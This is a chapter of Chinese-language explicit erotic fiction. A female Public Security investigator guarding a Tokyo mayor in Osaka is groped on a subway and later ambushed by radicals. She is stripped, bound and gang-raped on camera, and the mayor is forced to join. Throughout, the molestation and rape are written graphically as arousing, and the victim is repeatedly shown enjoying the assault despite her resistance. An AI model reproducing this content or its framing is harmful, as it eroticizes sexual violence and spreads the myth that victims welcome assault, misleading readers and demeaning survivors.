图片载入中

女调查员的凌辱笔录

特大字】 【大字】 【中字】 【小字

池上真穗一直在屁股上感受到奇妙的触感。她正从池袋搭乘地下铁往有乐町。在赶上下班的时间,车内十分拥挤。背后的男人利用拥挤的乘客,把身体紧贴在真穗的身上,慢慢抚摸屁股。这一天真穗穿的是黑底有花纹的洋装,系一条红色的宽边腰带做装饰。这是很大胆的配色,但更大胆的是洋装的下摆在膝上三十公分处。丰满的大腿露骨的吸引男人的视线。

真穗多少感到兴奋,在上车前就预料会发生这种事情。到那时候准备抓住对方的手,给他一记耳光。今天的色情狂动作非常巧妙。来到背后,用双脚包夹穿十公分高的高跟鞋的真穗的脚。不多久,真穗感觉出有勃起的东西顶在屁股沟。不用回头看也知道那是什么东西。

想移动身体,由于双脚被夹住,无法移动。如果扭动身体,还可能让对方认为她是在享受那种触感。真穗想不出抗拒的方法。就在此时,那个男人把火热的唿吸喷在真穗的耳根上。一般而言,在女人身体暴露于外的部分中,可以说耳朵是最敏感的性感带。虽然在地下铁的车内,但不断的受到纠缠,难免会产生性感。顶在屁股缝的男人的东西好像更膨胀。

如果是一般的女性,男人的硬东西可能会巾在肛门附近,可是有修长的双腿,屁股位置也高的真穗,正好巾到下面有大腿根夹住的柔软部分。这个男人还利用车辆的摇动,淫猥的用勃起物摩擦。隔一层洋装和三角裤摩擦到敏感的花蕊,每一次都会有甜美的感觉如电流一般扩散到全身。男人的手从屁股上绕过腰部,来到下腹部。真穗急忙想撩起迷你裙的手。

这个男人很老练。更用力顶在屁股沟上,扭动摩擦,嘴唇也靠近到快要巾到耳朵。这种动作非常巧妙。不知不觉中,真穗已经松开男人的手。洋装的下摆撩起,男人的手从三角裤和丝袜上抚摸大腿根隆起的部位。

我投降了。男人的技巧使真穗的厌恶感消失,甚至有一点欣赏他的巧妙动作。真穗放松全身绷紧的力量,把一只手伸到背后,轻握男人隆起的裤前部分。抚摸数次后,拉下拉链,从裤内掏出肉棒。坚硬火热的触感使真穗兴奋。想起来最近都没有和男人睡觉……从花蕊溢出的蜜汁早已使蕾丝花边的三角裤湿润。蜜汁从三角裤和裤袜渗出男人的手指一定感觉得出来了吧。

男人的手开始脱裤袜,毫不犹豫的用双手把三角裤拉下去。原来从外侧包夹真穗的脚的男人之腿,现在用一只腿插入真穗的双腿之间。真穗主动的分开修长的双腿。男人的手指毫不客气的拨开真穗的花瓣,向里面摸索。

“啊……”真穗不由得叹气。开始直接爱抚后,男人的技巧还是很高明。手指在每一片花瓣上抚摸,轻轻捏弄阴核。把沾上花蜜的手指插入肉洞里抽插。受到三点攻击,真穗已经瘫痪,完全湿润的花蕊不停的抽搐,更大量溢出的花蜜流到大腿根。男人的手指在抚摸花瓣的同时,用大姆指揉搓肛门。如加上喷气到耳朵,等于是五点攻击。真穗咬紧牙关,不让自己发出哼声。如果可能,恨不得马上让手里握住的东西从里面插进来。

“唔!”在耳边听到男人的哼声。就在这刹那,精液喷射在真穗的手掌里。这件事让真穗恢复理智。男人仍继续抚摸花瓣。真穗推开男人的手,很快的穿好三角裤和裤袜。“樱田门站到了……樱田门站到了……” 车厢内的广播被列车声抵消一半。真穗头也不回的挤出人群。走向出口时,有一个男人在后面搭讪。“小姐,怎么样?一起喝一杯茶吧。”

真穗向男人瞄一眼,迳自的走了,未加理会。年龄四十来岁,身材矮小,露出大牙,而且驼背的男人。“好嘛,我想和你好好的享受一番。”

“不必了。”真穗一本正经的回答。从她的脸上可以感受到充满知性和气质。一点也不像刚才沉迷在色情游戏里的女人。

男人不断的纠缠。“嘿嘿嘿,不要这样神气活现的嘛。我的手指还沾有你那里的味道。”男人带着淫笑抓住真穗的手臂。

“放开你的手!”

“我们去性交吧!”

“我说,要你放开手!”

“你不要太神气了。”

真穗突然停下脚步,与此同时,猛烈的一巴掌打在男人的脸上。“痛!你这是干什么!”男人愤怒的扑向真穗。真穗的手掌如刀一般砍在男人的脖子上。男人摇摇摆摆的弯下身体时,真穗的脚踢中男人的腹部。男人的身体仰倒在月台上,形成四脚朝天。真穗低着头,对男人说:“以后要看清对像再诱惑。”

说完,转身快步离开。周围的旅客露出惊讶的表情,像在看一场警匪的连续剧。

(2)

池上真穗走出车站后,向位于樱田门护城河边的地上十八层、地下四层的建物走去。建物是像牙色的磁砖,四周有各种树木围绕。真穗从大门走进去,直接走向电梯间。

“每一次你的时间都很准……”一个身材高挑的男人站在旁边,眼神看着前方说。身穿整洁的夏季西装,深红色领带,从胸口带露出同颜色的手帕。肌肤晒成铜色,使这个男人看起来比实际更强壮结实。

“池上调查员……”从蓄小胡子的嘴角露出雪白牙齿,微笑时眼尾显出几道皱纹,使他的面貌看起来非常柔和。

这种样子也许会受到女大学生的欢迎,但在真穗的眼里看起来真是俗不可耐。这个男人和真穗一样,隶属于警视厅公安部的调查员一色佑一郎。

遇到讨厌的家伙了,真穗在心里嘀咕。“你也是被叫来吗?能被叫来我很高兴。”“这是只有你才会这样想吧。知道工作内容了吗?”

“怎么可能。是魔鬼公安部长直接打电话给我,说“七点钟来”,真是难得。不过对我来说,不论是什么工作,在这段时间里能看到池上特别调查员的玉腿,还有什么话可说呢?”

说完,脸上又出现他那特有的微笑。电梯门开了,进来两个人。还有二、三个人想进来时,一色说:“对不起,这个电梯是因为公安部长有紧急命令,请你们搭其他的电梯吧。” 说完,同时按下关门和十四楼的按钮。

“你怎么可以这样做呢?”

“不要紧,这一点小玩笑,公安部长会了解的。说起来……” 一色又重新在真穗的全身上下打量。

“池上特别调查员真是勇敢。”

“你在说什么?”

“让我参观了白色蕾丝三角裤。”

“什么?”真穗露出疑惑的表情看一色。

“哪里,哪里。只是偶然看到而已,在地上铁的月台上。”

“你看到了?”真穗害羞似的转开脸。

“是看到了。不过,不需要弄到那种程度吧,他只是色情狂而已。”

“你怎么知道?”

“那个男人叫左田五郎,是色情狂的惯犯,还兼扒手。”

“既然知道了,为什么不逮捕他?”

“我可是公安部的调查员。怎么能侵犯刑事部的工作,倒不如看一看有没有丢东西?”

真穗紧张的查看皮包里的东西时,电梯停在十四楼。知道什么也没丢时,已经不见一色的人了。慢一步进入部长室,站在部长办公桌前,一色回头看真穗,脸上戴着特有微笑。

“对不起,来晚了。”因为仁木部长已经来了,真穗不得不这么说。

“马上告诉你们这一次的工作内容吧。”

已经有白发的部长有一副和职务不相称的温和面貌,但和面貌相配的温和声音。公安部长的职位在警视厅内也是最重要的职位之一。历任的部长大多升任总监或警视厅长官、次长等。不过,这位仁木部长好像没有那种野心。

“最近二、三天,有人打恐吓电话给矢田东京市长。市长预定今晚搭新干线到大

坂府,帮候选人做竞选演讲。嫌犯说“要停止去大坂,不然就用实力阻

止”。”

“是激进派的兄弟们吗?”

“还不能确定,但差不多吧。市长向我们请求保护。虽然是在野党的市长,有要求就必须要保护,相对的,也许能抓到他的弱点。”

“记得这位老先生是有爱人的。”

“没有错,也许还会带去大坂,因为有一星期的时间。”

“一星期啊……”

矢田市长年逾六十五,不会因为一星期没见到女人就欲求不满了吧。可是冒险找来的爱人,很爱的话,可能会在大坂相会。

“我们没有办法照顾她的爱人。”

“这件事我也对他说过了。”

“市长是如何回答的呢?”

“不想让我们干涉他的私事。”一色以夸大的动作摊开双手。真穗也有相同的看法。

说到矢田市长,就是以特有的矢田微笑知名,对老人的医疗免费等大胆的措施,受到老人或女性们的压倒性支持。

听到这样的矢田金屋藏娇,出去办公事还带去,自然会产生不满的感觉。当然也无法责备他自己的金屋藏娇,可是在他重视福利的美名下,七年来有了一千亿的赤字。这件事受到质询时,他说:“在我的任内一定会平衡。”事实上,赤字是年年增加。

“没有工作的能力还金屋藏娇。”一色以不屑的口吻说︰“有投票权的人大概都会有这种想法吧。”“在这里发牢骚也没有用。我套一句公式化的话,请你们尽全力保护他吧。”

(3)

矢田坐在大坂市市长候选人日野东吉的宣传车上。连日来从早到晚巡回大坂市的大街小巷,晚上还要参加日野的政见会,热情的发表演说。

这种精力充沛的活动,不似一位年近七十的老人。“就因为这样才有能力包女人。”一色一面保护矢田,一面说他的坏话。

三天了,没有发生任何事。

为保护日野,公安警察方面也派出护卫,不论从哪里,激烈派的人也没有办法攻击这两个人的。

第四天也没有发生特殊的事情。

“那个电话只是恐吓而已吧。”

矢田似乎放心了。真穗等人还不敢大意。

第五天晚上,矢田在旅馆的房间里准备外出。这一天晚上没有任何的预定行程。

“要去哪里呢?”

“要去见一个人。是一个很好的朋友。可能到明天早晨才会回来。我说你们不要跟来……但还是会跟来吧。”

“是,因为这是我们的工作。”真穗看一下一色,一色以眼神表示去隔壁的房间。“我们要用五分钟的时间准备。”真穗说完,和一色一起进入隔壁的房间。这几天以来,他们两个人除必要的话之外,没有任何交谈。其实说起来是真穗不理一色。原因是为了那个叫左田五郎的色情狂。

那一天真穗离开警视厅后,立刻搭计程车回家。又突然想起事情,计程车折回警视厅的途中,看到意外的事。是一色和左田五郎并肩走在路上。从一色的胡子下看到白牙。是不是说到她而在笑呢?想到这儿,真穗又羞气,同时也产生疑心。一色平常都开他的爱车BMW,为什么偏偏在这个晚上坐拥挤的地下铁呢?若说偶然,是不是太偶然了呢?

真穗下了计程车,开始跟踪。一色和左田五郎进入咖啡厅,谈了二十分钟左右分手时,看到一色交给左田五郎一张纸。真穗继续跟踪左田五郎,到樱田门车站时,开口说:“我有事找你,能不能和我一起走?”

左田五郎回头看到真穗,拔腿想跑。“你想要我逮捕你呢?”左田五郎停下脚步不动。

“知道我是谁吗?”

“是,知道。”

“你说说看。”

“公安部特别调查员池上真穗小姐。”左田弯曲已驼的后背,像受责骂的学生,眼看着前方回答。

“答得很好。为表示嘉奖,请你喝茶吧。跟我来。”

真穗迈开从迷你裙露出的玉腿,大步向前走。左田五郎的视线集中在大腿上,跟着真穗提起地下铁发生的事,左田五郎这才开口说:一色先生对我很照顾,我本来不想说的,除了做色情狂和扒手外,还做情报贩子。和一色认识七、八年之久了。”

“那么我问你。在电车上对我做出色情狂的行为,是已经知道我是公安部的人了吗?”

“这个……这个……”

“你要老实回答!”

真穗手拍桌子时,左田五郎的身体颤抖,手里的咖啡杯几乎撒出咖啡。

“是,是的。”

左田五郎的面貌,平时会让对方感到恐惧,可是被真穗美丽的大眼精怒视,他这样的人也吓得缩脖子。一方面是先前在地下铁的月台上遭受惩罚,同时看到充满知性和高贵的美貌,把他的气势完全压倒。

“是从一色那里听来的吗?”

“这……是……”

“那么,你是奉命行事罗?”

“什么?”

“不要装傻。”真穗的眼里发出母豹般的光泽。

“你也不是煳涂到明知是公安部的调查员,还做那种色情狂的事吧。一定是什么人命令你这么做的。”

“是……这样的。”

“把命令你的人的名字说出来。”

“一色先生……”左田五郎很快的说出名字来。

第二天在前往大坂的新干线上,真穗把这件事告诉一色。“你为什么命令那个人做那种事呢?”

“这还用问吗?因为我自己无法下手。”一色是毫无悔意的样子。

从此以后,除非必要,真穗不再和一色说话了。但现在到必要的时候了。“他究竟要去那里呢?”

“这还用问吗?是这个。”一色竖起小指。

“你怎么会知道?”

“今天午饭吃了什么?”

“鳗鱼。”

“晚饭呢?”

“牛排。”

说到这里,真穗明白了。“有关矢田的资料上写着“矢田在和爱人幽会前一定会吃鳗鱼和牛排”,你不是也看过了吗?”

“可以让他去吗?”

“有什么办法。今天晚上应该准备一付耳塞了吧。”

(4)

矢田和爱人野泽寿子见面不是在旅馆,而是在普通的住宅区。“这是我朋友的别墅,今晚特别请他借给我用。”矢田这样解释,丝毫没有向真穗等人隐瞒的意思。

“我留在车上,在稍离开的地方监视,每二小时换班吧。”

“好吧。”

“他的那一边就拜托你了。”

一色说完,把车开走,转进巷子后,车子消失了,可能在附近转一圈后再回来吧。”

真穗和矢田一起走进玄关门。穿素的蓝色条纹洋装的野泽寿子出来迎接,年约三十五、六岁,肌肤细白。

“这位是公安部的池上小姐。”矢田介绍真穗。

“麻烦你照顾了。”寿子小声说。她看真穗的眼光,呈现出近似敌意的冷漠。“想喝什么吗?”

“嗯,喝白兰地吧。”

矢田走进客厅,拿来白兰地。把三个玻璃杯放在桌子上。

“池上小姐也喝一杯吧。”

“不,现在是服勤中。”

“不要这样太认真,喝一杯也没什么大碍吧。”在倒酒的时候,拿来冰块和水。真穗只好和他们同坐。

有两个美女围绕,再加上酒意,矢田显得很高兴。尽管有真穗在一旁,搂住寿子的腰,用女性般的声音说起选举的事情。他在选民面前绝不会露出这种样子,赖以出名的矢田微笑;现在看起来也只是好色老人的微笑而已。

的确,矢田一面搂住寿子的腰,眼睛却在真穗从迷你裙露出来的大腿上打转。寿子敏感的发觉那种眼神后,以娇柔的声音说:“什么时候带我去巴黎呢?”一面说,一面抚摸矢田的大腿。

“巴黎吗?嗯,以后都这样。我要你肯定的答应。”

“好吧,好吧。最近一定会带你去。”听到两个人的对话,真穗不耐烦的站起身,说:“我要失陪了。”

“你要去哪里呢?”

“我还没有查看其他的房间。”

“是不是也要看卧房呢?”

“要,因为这是我的职责。”

“那么,我陪你去吧。因为没有这个钥匙,进不了卧房的。”

矢田露出手里的钥匙,握住寿子的手站起来,说:“你也一起来吧。”

“可是……”寿子向真穗看一眼,似乎把她视为多余的人。

“你不肯听我的话吗?”听矢田这样说,寿子很不情愿的跟在后面。

奇妙的是,矢田所说的卧房是在地下室。进入房间时,真穗产生仿佛头部受到重击的感觉。墙上挂满皮鞭和各种手铐脚镣、绳索等,还从屋顶垂下几根条。在房角还有用铁栏杆做的笼子、三角木马、妇产科用的诊疗台等。

“这……这是……”真穗惊讶得说不出话来。

“这是一般人所说的游戏房。怎么样?相当不错吧。”矢田面不改色的说。“我们就有这种嗜好。这种情形连公安部也不知道吧。”真穗对矢田的话几乎有一半没有听到,不知何故,嘴里干干的,心跳加速。

“寿子,把衣服脱了。”寿子的表情变紧张。

“不要……有人在这里。”真穗突然警觉过来,说:“失陪了。”说完,向楼梯走去。“等一下,我还没有说你可以离开。”

“但这里没有我的事吧。”

“有没有事由我来决定。我要你暂时留在这里,不然不能放心的游戏。”听矢田这样说,真穗没有办法离开。

“寿子,你还不快脱衣服。”

“我不要这样……”寿子抱紧胸口,往后退。

“你是奴隶,不听主人的命令了吗?”

“……”

“你不听我的话,就取消去巴黎的事。”

寿子看一眼真穗,说:“知道了。”好像认命了,开始脱洋装。虽说三十多岁,但穿上黑色乳罩和三角裤,以及裤袜的肉体,还是很美。腰不是很细,但丰满的胸部和屁股足以弥补此一缺点。

矢田把寿子的双手固定在从屋顶垂下来的皮手铐上。打开设置在墙壁的开关。与皮鞭连结的铁被滑车拉起。寿子的双手随之高高举起,身体形成一直线。知道寿子必须用脚尖站立时,才把开关关闭。

“要看清楚,以便上司问话时能回答。”矢田带着冷笑对真穗说。然后从墙边拿来前端分出几条的皮鞭,来到寿子的身后,把裤袜和三角裤拉下去,露出丰满的屁股。

“要开始了!”先用皮鞭在屁股轻抚后,立刻开始抽打。

“啊……”随着皮鞭的声音,寿子的身体向后仰,发出惊叫声。矢田毫不留情的从各种角度连续抽打。真穗站在楼梯边,不由得转开脸。

不过,听到打在屁股上的声音和寿子发出的苦闷声时,真穗的身体产生甜美的搔痒感。二十三岁的真穗还没有固定的男朋友,因为是美女,不断的有男人追求,但绝大多数的男人知道真穗的职业后就打退堂鼓了。

她是女调查员,但毕竟是女人,不可能没有性欲。外表秀丽,又有健康丰满的肉体,对性的欲望自然也比一般人强烈。还没有对任何人说过,有时发觉在自己的肉体里隐藏着淫欲,连真穗本人都感到惊讶,但也没有因此就想廉价出售自己的肉体。

她有排欲望的对像,那就是现在的工作。生命面对危险时,会产生无比的充实感。在生死边缘的工作,个中的紧张感和刺激,甚至会演变成性高潮。这绝不是夸大其词。每次面对危险后,真穗的三角裤都变湿润。真穗对淫邪的游戏,把脸绷紧得自己都感到奇怪。

在一般的情形下,这是不允许的行为。虽说是一种游戏,男人把弱女子吊起,用皮鞭抽打就是不当的行为。

而且这个男人是现任的市长。

真穗的感情达到愤怒的程度。同时这种变态的景色,不知何故使真穗内心深处受到震憾。矢田放下皮鞭,改拿电动假阳具玩弄寿子。

开始时还在意真穗视线的寿子,如今也完全投入游戏里,不断发出淫糜的哼声。真穗把这个声音听成是自己的声音。全身的血液因淫荡而沸腾,下意识的夹紧双腿扭动。

“这……这个……”

真穗想对矢田说话,可是喉咙抽搐,发不出声音来。丢下热衷于游戏的两个人,真穗从楼梯走上去。由于双腿无力。无法伸直双腿行走。

走出地下室,真穗立刻进入在厨房前的厕所,撩起迷你裙,迫不及待的拉下裤袜和三角裤,在高开叉的白色三角裤底,沾满蜜汁,发出淫猥的气味。因为三角裤很薄,摸裤袜的底部时,发现已经湿了。用力分开修长的双腿,用手指拨开黑影下的花唇。

“啊……”仅仅如此,如触电般的快感向全身扩散。花瓣内侧湿淋淋的几乎要滴下液体来,真穗的手指忍不住滑入到花蕊深处。就在此时,听到厨房的方向有什么声音,真穗手指留在花蕊里,全身开始紧张。在紧张中,从腋下流出一滴冰凉的汗水。

这不是耳朵的错觉,真穗慢慢拔出手指,穿上三角裤和裤袜,打开皮包,拿出小型的自动手枪,轻轻打开厕所的门。竖耳倾听,但什么也没有听到。地下室可能有遮音设备,游戏室的声音传不到外面来。

真穗走向厨房,有走廊的灯光,所以厨房不是漆黑的。一时之间,觉得没有任何人。重新拿好手枪,向餐桌方向走过去时,感到左手边有人的动静。在真穗回头看的同时,有一个黑影向她挥棒。扭动身体闪躲,可是在右肩下感受到强烈的冲击,手枪滑落在地上,来不及拾起。黑影闪动,做第二次攻击。这一次真穗来不及闪避,只好向对方的身体冲去。这个男人发出轻微的哼声,身体前曲。与此同时,真穗的手掌噼在男人的脖子上,男人晃一下就倒下去了。

“可恶……”这是另一个男人的声音。看到有铁管横扫过来,这一次无法闪避,铁管击中腰部。真穗倒在先前倒在地上的男人身上。铁管向真穗的头部挥过来。在千钧一发之际,真穗从地上拾起倒下来的那个人掉落的铁管挡住挥下来的铁管。真穗产生能打胜的信心。拨开对方的铁管,用力捅对方的胸口。

这个男人的头巾到餐具架上,昏倒。真穗的剑道是三段。拾起手枪,急忙赶去地下室。右肩还有一点痛。打开地下室的门向里面看。寿子仍旧高举双手吊在那里,但看不到矢田。

“快来救我。”寿子发现是真穗,大声求救。

“市长呢?”真穗一面下楼梯,一面问。寿子的眼睛转向楼梯的下面,好像不敢说话的样子。

“在这里。”楼梯下面传来声音。有一个身材矮小,但健壮的男人用小刀指着矢田的喉咙。

“丢下手枪,到这边来吧。”真穗有一点犹豫,擅长射击,但还是没有信心不让矢田受伤就命中背后的男人。

“你怎么了?不管市长的后果了吗?”那个男人在对正矢田喉咙的小刀上更用力。

“啊……你快照他的话做。”矢田发出哭求的声音。“不要做这种无用的事。这个房子已经有人监视。早就知道你们会侵入,已经向警察联络了。”

手持小刀的男人,冷笑一声说:“已经向你的伙伴打过招唿了。用这个。”听到背后有声音,真穗回头看到两个男人扛着铁管站在那里。就是刚才在厨房打斗的那个男人。

“你的见面礼够狠的了。这一笔帐我会加倍奉还的。”戴眼镜的男人摸着肚子说。

“和那个无用的小白脸差太多了。”蓄胡子的男人说。

在真穗的眼底,刹那间出现一色的脸孔。“快丢下手枪。”男人用强烈的口吻说。真穗咬紧嘴唇,把枪丢在脚下。真穗只有照做了。

戴眼镜的男人拾起手枪,指着矢田说:“派女人来保镖,警察也太小看我们了吧。”

持小刀的男人来到真穗的面前。“我要搜身,检查一下有没有其他的武器。”说完,开始在真穗身上寻找。

“咦?这是什么呢?”男人抓住胸前隆起的丰乳用力揉搓。真穗不由得抓住男人的手。

“放开你的手。”真穗瞪男人,但还是放下自己的手。男人得意的笑了。继续在乳房上揉搓一阵后,手向下半身移动。

“你把裙子撩起来。”真穗绷紧脸。

“你自己弄吧。”这是真穗最大的抗拒。

“照我的话做,不然那个肥猪要受罪了。”男人指着矢田。

“救命啊……我们来谈吧,不要使用暴力。”

“吵死了,让他闭嘴!”抓住矢田的年轻男人一拳挥打在矢田的脸上。矢田的脸向后仰,身体软绵绵的靠在那个男人的身上。

“不要打市长!”真穗大叫。“这是你不顺从的关系。只要听话,我保证不杀你。反抗的话,就不能保证你的命了。”

真穗只有点头。“快把裙子撩起来。”

“真卑鄙。”真穗撩起迷你裙的下摆。刚才溢出蜜汁的味道散发出来。透过黑色裤袜看到三角裤紧贴在下腹部。男人的手在浑圆有弹性的屁股上抚摸。“这个屁股真好,让你当警察太可惜了。”另外两个男人的视线盯在大腿上。 “把腿分开。”真穗把抓住裙子的手握紧,但还是分开修长的双腿。男人伸出手,在大腿根上隆起的部位抚摸。

“喂,杉田,干了她吧。”刚才打昏矢田的戴黑边眼镜,留着长发的男人,伸出舌头舔一舔嘴唇说。

“当然要干,但不是在这里。把这个女人和市长一起带走。”男人的脸上都露出好色的笑容。

(5)

到这一群男人的地盘,开车需要三十分钟。眼睛被蒙上,双手被困绑于背后,真穗无法知道身处何地,更遑论在不熟悉的大坂。在车上几乎没有逃走的机会,即便能逃走,但那样会使市长的生命有危险。

现在跟他们去了以后,再设法求援,是比较明智的方法。方法只有一个。那就是真穗的高跟鞋后藏有发报机,只要旋转左脚的后跟,求救的信号就会发到大坂府警察局的公安本部。现在因为双手绑在背后,还没有这个机会。

真穗和矢田以及寿子被带去的地方是看起来很普通的一栋房子。房间里空空荡荡,没有家俱。在第一间六个榻榻米的房间里,杂乱的放着报纸、吃剩的空碗面,啤酒罐等。

“马上做摄影的准备。”杉田说完后,几个男人从汽车上搬来录影器材、灯光等器具。

“这是要做什么?”

“要把你们这些猪的实情录影,让百姓们看。让百姓知道市长是如何浪费百姓的税金,以满足自己的欲望,还有保护这种人的腐败警察。”

矢田的脸色大变。

“不能乱来。我是为了增进老人的福利,不曾做过违法的事。”

“我不想听你的演说。你再啰嗦,我可要割掉你的舌头。”杉田的怒吼使矢田噤若寒蝉。

杉田确实有什么事都会干的狠劲。“准备好了的话,就从你开始吧。”真穗被杉田推到房中央站立。

“你想保护市长的生命,就不要做出怪动作。”杉田说完,解开困绑手的绳子。灯光亮了,戴眼镜的男人操作录影机。

“要继续检查身体,脱裤袜吧。”真穗认命似的把手伸入迷你裙内,拉下裤袜。这是好机会。男人们的视线集中在从迷你裙露出的三角裤和大腿根上。真穗故意把上身深深弯下,露出白色比基尼式三角裤,把裤袜拉到脚踝。就在想伸手拿鞋跟时,杉田突然说:“等一下!不要用手脱高跟鞋!”

“什么?”

“照我的话做!”真穗在心里咋舌,但没有表现在脸上,露出疑惑的表情,靠近脚后跟,脱下高跟鞋。

杉田走过来,拿起脱下的高跟鞋。“记得看过从鞋尖冒出小刀,现在想起来了。”说完,眼睛盯着真穗看,开始检查高跟鞋。真穗的背嵴发凉。

“好像是一般的高级高跟鞋。看样子,警察的待遇还不错。”杉田说完,把高跟鞋掷向墙角。

“继续脱,该脱上衣了。”至少唯一的一张王牌没有被发现,真穗松一口气,脱下衬衫,解开乳罩的挂钩。用一手挡住胸前,取下乳罩。

“把手放下来。”真穗的视线盯在杉田的身上,把双手放下。露出来的乳房是雪白而丰盈,浅红色的乳头向上翘起,男人们都瞪大眼睛盯着乳房看。

“脱三角裤。”在脱裙子前,要她脱三角裤的要求,使真穗咬牙切齿。但也只有先脱三角裤,再让迷向裙落在脚下。

“把她困绑,吊起来。”听到杉田的命令,两个男人拿来绳子和铁管。

“把手伸出来。”戴眼镜的男人困绑真穗的双手。这个男人的名字叫细野。 “刚才承蒙你照顾了。”把剩余的绳子交给名叫江岛,脸上有青春痘痕迹的男人。“我要回谢了。”细野说完,用力捅真穗的腹部。

“噢!”真穗发出痛苦的哼声,弯下腰。

“总算会鞠躬了。”细野抓住真穗的头发,拉直身体,又在腹部上猛打。“唔……”真穗不由得蹲下去。

“喂!到这边来。”

江岛抓起绳子,拉真穗到隔壁的房间。因为还没有抬起身体之前就拉,真穗的身体扑倒在地上。“这样就不行了,公安部的调查员也真没用。”细野揪住头发,强行拉起真穗。

“等一等……”真穗还来不及站起来,只好跪着拼命向前爬。

“快一点!”细野粗暴的在真穗的屁股上猛踢一脚。

“噢!”真穗又倒下去。江岛不等她爬起来,把真穗的身体向前拖,到房梁下才停止。把绳子绕过房梁,用力拉。

“啊……”真穗的身体逐渐离开地面,直到必须用脚尖站立时,江岛才把绳子固定。灯光和镜头朝着真穗的玉体。

“开始吧。”江岛和细野戴上只有眼睛、鼻子、嘴挖开洞的面具,扑向真穗的乳房。细野在左,江岛在右。揉搓乳房,把乳头含在嘴里吸吮。这是根本不理会技巧的粗暴爱抚,但对现在的真穗而言,根本考虑不到那种问题。

“唔……啊……不要……”侮辱感和厌恶感使得真穗皱起眉头,拼命的摇头。细野蹲下去,舌头舔到下腹部的阴毛。细野想把腿分开,可是真穗双腿用力,不肯分开。

“喂!来帮忙拉开她的腿。”江岛从墙边拿来绳子和铁管,两个人一起拉开真穗的腿。

“不,不要!”真穗大叫,扭动身体抗拒。但对方是两个男人,很快的就把双脚拉开,绑在铁管上。细野蹲在真穗的面前,看到美丽的双腿和大腿根,忍不住把嘴压到阴毛上。

“唔……啊……”真穗咬牙切齿的忍耐厌恶感,细野还把花瓣用手指拉开,伸出舌头舔。舔一下,尝到美味后,开始不顾一切的猛舔。

不久,回头对杉田说:“可以了吧,我实在忍不住了。”细野摸一下自己裤前隆起的部分。

“不,还要继续弄三十分钟。”

“为什么?”

“你不要问,夜晚是很长的。”

细野吞下口水,又开始用舌头舔。这时,江岛来到真穗的背面,伸手到前面抚摸乳房,还把舌尖插入真穗的耳孔里扭动。真穗感到狼狈。这样不断的爱抚三十分钟,她的身体一定会有所反应。那样就不如早一点让他们奸淫。

杉田没有立刻采取行动,一定看出真穗的身体很快的有性感反应。真穗咬紧牙关。细野和江岛的爱抚虽然单调。但非常执着。真穗咬紧的牙关也逐渐分开,开始发出如啜泣般的甜美哼声。这样的呜咽声越来越大。男人的舌尖很偶然的巾到躲藏在包皮里的粉红色嫩芽。

“啊……唔……噢……啊……”真穗极力忍耐,但对不断涌出的快感,没有办法抗拒。

“十分钟了吗?”

“还有五分钟。”

“啊……饶了我吧……不要这样了……”蜜汁从分开的大腿根如洪般的流出来。

“时间还没到吗?”

“还有三分钟。”真穗已经无法忍耐,全身的官能火熊熊燃烧。可是男人们还没有插进来,简直像官能的地狱。

“还没有到吗?”

“还有一分钟。”细野等人在心里一面数秒,一面爱抚。真穗也在数秒。五秒……四秒……三秒……细野站起来脱裤子。

“杉田,可以了吗?”

“好,你干吧。”

事实上已经超过三十分钟。真穗被三个男人不停的玩弄将近一个小时。细野抱住真穗的屁股,把勃起的肉棒挺过来。真穗毫无抗拒的力量。反而挺出屁股,使对方易于插进来。肉棒插入的刹那,真穗的嘴里发出露骨的淫荡哼声。

第二章

野兽们的蜜宴

(1)

感到轻度的呕心,一色在汽车里醒过来,后脑还感到阵痛。约三十分钟前,看到有一辆车停在前面,因此从一色的这个位置看不见大门。

等了十分钟仍没有开走的动静,一色就下车去告知对方开车。向驾驶座看去的同时,汽车后门开了,有一个男人走出来。回头的瞬间,铁管打在后颈上。就这样失去意识。现在看不见那辆车了。

可恶!一色用手摸后颈,下了车,向大门走去。“矢田,站起来。”杉田用铁管指着矢田说。

“你只是看还不够吧。现在由你来干。”

“我……不用了……你们享受吧……”矢田的背后紧靠在墙上猛摇头。

“你要照我的话去做,还是皮肉想找痛苦呢?”杉田把铁管高高举起。“等一等……我做……千万不能用暴力……”矢田紧张的大叫,立刻开始脱衣服。当三个人轮番奸淫真穗时,还勃起的肉棒,脱光衣服后便软绵绵的垂下来。不过,一大把年纪的身体,说起来还算有光泽和弹性。

“怎么搞的,完全缩小了。”细野在摄影机旁边说。

“只要摸一摸乳房,舔一舔阴户会硬起来的。快开始吧。”

杉田用铁管拍打矢田市长的屁股。矢田摇摇摆摆的来到真穗的面前。

“你要原谅我,我这是被逼的。”

“来吧……我已经认命了。”

“好吧。”矢田的手伸向丰满的乳房。这是被三个男人吸吮、揉搓,沾满唾液和汗水的乳房。矢田从下面捧起乳房爱抚,当把粉红色的乳头含在嘴里舔,真穗的身体立刻产生甜美的电流。矢田的爱抚,无论在技巧或耐性上都强过年轻的男人。矢田的舌头从乳房下向腋窝,从侧腹到腰骨滑动时,真穗不得不紧咬嘴唇,以免发出甜美的哼声。

看到矢田的舌头舔向下腹部,杉田说:“来!帮忙一下。”和江岛从真穗的两侧,把真穗的大腿抬起,因此赤裸的大腿向左右分开到最大限。矢田弯下腰,用舌头舔露出来的花瓣。

“啊……啊……”从舌尖接触到花蕊的刹那,真穗赤裸的身体开始颤抖。同时,溢出大量蜜汁。

这时,矢田又发挥巧妙的舌技。首先用舌头和两片嘴唇夹住花瓣舔。再用舌尖找到嫩芽摩擦。那种舔的方式不是用力舔,而是用舌尖轻触,这样不停的刺激。然后在肉洞的周边由下向左上,反复的舔,但并没有进入肉洞里。这种方法使真穗产生迫不及待的急躁感,花蕊也湿润到最大限。

“矢田先生,差不多可以给她插进去了吧?”

“是……可是……”矢田惶恐的看着自己的下体。肉棒开始勃起,但还没有达到能结合的程度。

“你怎么搞的!能金屋藏娇的人不可能硬不起来吧。”

“可是……近来……要女人给我吸吮,不然硬不起来。”

“哼!真是奢侈的老头子。”在一旁帮助真穗大腿的江岛说。

“算了,把女人放下来。让女调查员吸吮肉棒的场面也不坏。”吊起的手松绑,改绑在背后的真穗,被推到矢田前跪下。

“舔吧。”矢田抓住真穗的头发,把她推到尚未完全勃起的肉棒上。真穗的表情因耻辱和愤怒而绷紧,但在男人的守望下,赤裸的跪在男人面前口交的行为,使真穗感受到火一般淫糜的快感。

伸出舌头把肉棒含入嘴里,一直吞入到喉头深处,用舌尖围绕龟头舔,矢田的肉棒在真穗的嘴里很快的开始勃起。喉咙感到痛苦,于是吐出肉棒,在勃起的阴茎背面用舌尖摩擦。从矢田的嘴里露出哼声。

